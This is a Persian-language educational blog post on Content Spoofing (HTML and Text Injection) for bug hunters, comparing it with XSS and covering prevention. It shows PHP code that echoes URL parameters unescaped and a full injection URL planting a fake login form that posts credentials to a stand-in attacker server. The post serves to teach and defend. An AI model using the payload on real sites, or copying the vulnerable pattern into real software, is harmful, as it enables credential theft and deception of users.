آسیب پذیری Content Spoofing؛ تزریق محتوا در قالب HTML و Text
در این بلاگپست به نوعی از آسیب پذیری های Injection میپردازیم که در سمت کاربر رخ میدهد و به همراه مهندسی اجتماعی میتواند سبب گمراهی کاربران یک وبسایت و دیفیس آن شود؛ Content Spoofing.
Content Spoofing به دو آسیب پذیری کوچکتر به نامهای HTML Injection و Text Injection تقسیم میشود که در آنها شکارچی میتواند با تزریق یا دستکاری محتوا، کاربران مراجعهکننده را فریب دهد.
دو آسیب پذیری HTML Injection و Text Injection معمولا در صفحاتی پیدا میشوند که دارای ورودیهایی هستند و کاربر با وارد کردن مقادیری به آن ورودیها میتواند مقدار ورودی خود را در صفحه ببیند.
آنچه که در این بلاگپست خواهید خواند:
• معرفی آسیب پذیری Content Spoofing و دو آسیب پذیری زیرمجموعهی آن HTML Injection و Text Injection
• اهمیت آسیب پذیری های HTML Injection و Text Injection
• مقایسهی آسیب پذیری های HTML Injection و Text Injection با XSS
• نحوهی جلوگیری از بروز آسیب پذیری های HTML Injection و Text Injection
آسیب پذیری Content Spoofing چیست؟
آسیب پذیری Content Spoofing به نامهای Content Injection و دیفیس مجازی نیز مشهور است. این آسیب پذیری در صورت وجود نقص در اعتبارسنجی ورودیهای کاربر رخ میدهد و امکان تزریق محتوای متنی به وبسایت را برای شکارچی فراهم میسازد.
شکارچی با استفاده از پارامترهای ورودی در URL صفحه، مقادیری را به صفحه تزریق میکند. از آنجا که مقادیر این پارامترها به طور مستقیم در صفحه، نمایش داده میشوند. اگر مقدار ورودی کد HTML باشد، آسیب پذیری HTML Injection و اگر مقدار ورودی یک رشتهی متنی باشد، آسیب پذیری Text Injection رخ میدهد.
در بلاگپست «کنترل ورودی کاربر، چرا و چگونه؟» به طور مفصل دربارهی لزوم کنترل ورودی کاربر و نحوهی کنترل ورودی کاربر توضیح دادهایم.
آسیب پذیری HTML Injection
این آسیب پذیری از طریق تزریق کد HTML به یک پارامتر آسیبپذیر در بین ورودیهای صفحه بروز پیدا میکند. برای درک بهتر این آسیب پذیری، به عنوان مثال، سناریویی را با فرض عدم اعتبارسنجی صحیح ورودیها دنبال میکنیم:
• گام اول: شکارچی قصد دارد با استفاده از این آسیبپذیری و شناسایی پارامتر آسیبپذیر، یک فرم لاگین را به صفحه تزریق کند.
• گام دوم: در این گام، شکارچی آدرس URLای که در آن کد HTML همان فرم لاگین را تزریق کرده است برای یک کاربر که از قبل در این وبسایت ثبت نام کرده است، ارسال میکند. در این مرحله استفاده از تکنیکهای مهندسی اجتماعی برای ترغیب کاربر به کلیک بر روی لینک لازم است.
• گام سوم: کاربر فریب ایمیل ارسالی را میخورد و لینک را باز میکند. کاربر در این مرحله همه چیز را عادی میبیند چون دامنه درست و معتبر است و فیشینگی در کار نیست.
• گام چهارم: کاربر در صفحهی بازشده، فرم لاگین تزریقشده توسط شکارچی را مشاهده میکند.
• گام پنجم: از آنجایی که در تگ فرم، آدرس سرور مهاجم یا شکارچی قرار داده شده است، اطلاعاتی که کاربر در این فرم وارد میکند به طور مستقیم به سرور مهاجم ارسال میشود و بدین ترتیب نام کاربری و گذرواژهی کاربر به سرقت میرود.
اگر فرض کنیم که در وبسایت ذکرشده کدی مانند کد زیر وجود داشته باشد:
1 2<?php 3 4 $name = $_REQUEST ['name']; 5 6?> 7 8<html> 9 10 <h1>Welcome to the Internet!</h1> 11 12 <br> 13 14 <body> 15 16Hello, <?php echo $name; ?>! 17 18 <p>We are so glad you are here!</p> 19 20 </body> 21 22</html> 23 24
همانطور که از کد مشخص است، هر آنچه که در پارامتر name در URL صفحه وارد شود، به طور مستقیم در صفحه قرار میگیرد. بنابراین شکارچی میتواند با تزریق یک فرم لاگین یا هر کد HTML دیگری به این پارامتر و فریب کاربر دیگری برای کلیک بر روی آن، سبب بروز آسیب پذیری HTML Injection شود. اگر فرض کنیم که همان پارامتر name آسیبپذیر است میتوان با ارسال آدرس لینکی مشابه آدرس زیر به یک کاربر و فریب او کاربر را وادار به ارائهی اطلاعات خود کرد:
1 2http://127.0.0.1/vulnerable.php?name=<h3>Please Enter Your Username and Password to Proceed:</h3><form method="POST"action="http://attackerserver/login.php">Username: <input type="text" name="username" /><br />Password: <input type="password"name="password" /><br /><input type="submit" value="Login" /></form><!-- 3 4
آسیب پذیری Text Injection
آسیب پذیری Text Injection از نظر عملکرد، شباهت زیادی با آسیب پذیری HTML Injection دارد. برای درک بهتر این آسیب پذیری نیز، به عنوان مثال، سناریویی را با فرض عدم اعتبارسنجی صحیح ورودیها دنبال میکنیم:
• گام اول: شکارچی متوجه میشود که در صفحهای از یک وبسایت، به کاربران توصیه میشود که سهام مشخصی را بفروشند یا بخرند.
• گام دوم: شکارچی کشف میکند که متن توصیه به خرید یا فروش سهام از طریق مقدار ورودی پارامتر خاصی در URL صفحه، قابلتغییر است.
• گام سوم: شکارچی با تغییر مقدار ورودی پارامتر آسیبپذیر و ارسال لینک صفحه به کاربران مختلف سبب میشود که کاربران پس از مراجعه به لینک دریافتشده، به جای خرید یک سهم، اقدام به فروش آن سهم کنند.
اگر فرض کنیم که کد صفحهی موردنظر به صورت زیر باشد:
1 2<?php 3 4 $name = $_REQUEST ['stockrecommendation']; 5 6?> 7 8<html> 9 10 <h1>Welcome to the Stock Recommendation Website!</h1> 11 12 <br> 13 14 <body> 15 16<?php echo $stockrecommendation; ?>! 17 18 <p>We are so glad you are here!</p> 19 20 </body> 21 22</html> 23 24
و آدرس زیر، آدرس اصلی و معتبر همان صفحه باشد:
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=We+Recommend+You+Buy+Now
از مقدار We+Recommend+You+Buy+Now که به پارامتر stockrecommendation داده شده است میتوان به وجود آسیب پذیری Text Injection پی برد. همانطور که مشخص است، کاربران با مراجعه به این لینک متوجه میشوند که باید سهم موردنظر را بخرند، اما اگر این لینک به صورت زیر تغییر کند:
به کاربران اطلاع داده میشود که باید هر چه سریعتر سهم موردنظر را بفروشند!
اگر مهاجم این لینک را در لحظه برای تعداد زیادی از افراد ارسال کند، این امکان را خواهد داشت تا با استفاده از آسیب پذیری Text Injection و به کمک مهندسی اجتماعی بازار سهام یک شرکت یا کسب و کار را کنترل و مختل کند.
آسیب پذیری Content Spoofing همان آسیب پذیری XSS است؟
خیر. در آسیب پذیری XSS، مقادیری که تزریق میشود در قالب یک اسکریپت مخرباند و در تگ script جا میگیرند. اما در آسیب پذیری Content Spoofing، محتوا توسط پارامترهای ورودی صفحه -که از URL صفحه قابل دسترس است- به صفحه تزریق میشود و الزاما اسکریپت مخربی اجرا نمیشود.
چگونه میتوان از بروز آسیب پذیری های HTML Injection و Text Injection جلوگیری کرد؟
کنترل ورودیها در سمت کاربر و جلوگیری از رندرشدن متاکاراکترها از جمله تگهای HTML از جمله راهکارهایی هستند که میتوانند نقشی اساسی در رفع خطر بروز آسیب پذیری HTML Injection، داشته باشند.
اما در آسیب پذیری Text Injection، صرفا اعتبارسنجی ورودی کاربر نمیتواند از بروز این آسیب پذیری جلوگیری کند. برای جلوگیری از این آسیب پذیری لازم است که متنهای داخل صفحه از طریق ورودیهای صفحه که توسط کاربر قابلکنترل هستند، تعیین نشوند. به عبارت دیگر؛ متنها از سمت سرور مشخص شوند و متن داخل صفحه بر اساس ورودی کاربر در فرمها قرار داده نشود. در مواردی مانند مثالی که پیشتر به آن اشاره کردیم نیز، بهتر است ترتیبی داده شود تا مقادیری مانند خرید و فروش سهام از طریق ورودیهای صفحه، به طور مستقیم نمایش داده شوند.
سخن آخر
این بلاگپست، حسن ختام معرفی آسیب پذیری های دستهی Injection بود. همانطور که در بلاگپستهای گذشته نیز گفتیم، تسلط بیشتر در دانش توسعهی وب میتواند کمک بسیار بزرگی برای شما شکارچی عزیز در شکار آسیب پذیری های مختلف باشد، برای آسیب پذیری های دستهی Injection هم همینطور. امیدواریم که نکات گفتهشده در این بلاگپست، در شکارگاههای مختلف و برای شکار آسیب پذیری Content Spoofing به کارتان بیایند. ؛)
ما در بلاگپستهای قبلی، آسیب پذیری های دیگر از دستهی Injection را معرفی کردهایم و به نکاتی دربارهی شکار هرکدام از آنها پرداختهایم:
• SQL Injection؛ راهبردها و ترفندها
• آسیبپذیری XXE؛ نفوذ با جابهجایی دادهها
• آسیبپذیری Command Injection؛ دربست تا دروازهی بزرگ دسترسی
• آسیبپذیری iframe Injection؛ پیدای پنهان
• قسمت اول از سهگانهي آسیبپذیری XSS؛ XSS DOM-Based
• قسمت دوم از سهگانهي آسیبپذیری XSS؛ XSS Stored
• قسمت سوم از سهگانهي آسیبپذیری XSS؛ XSS Reflected
منابع: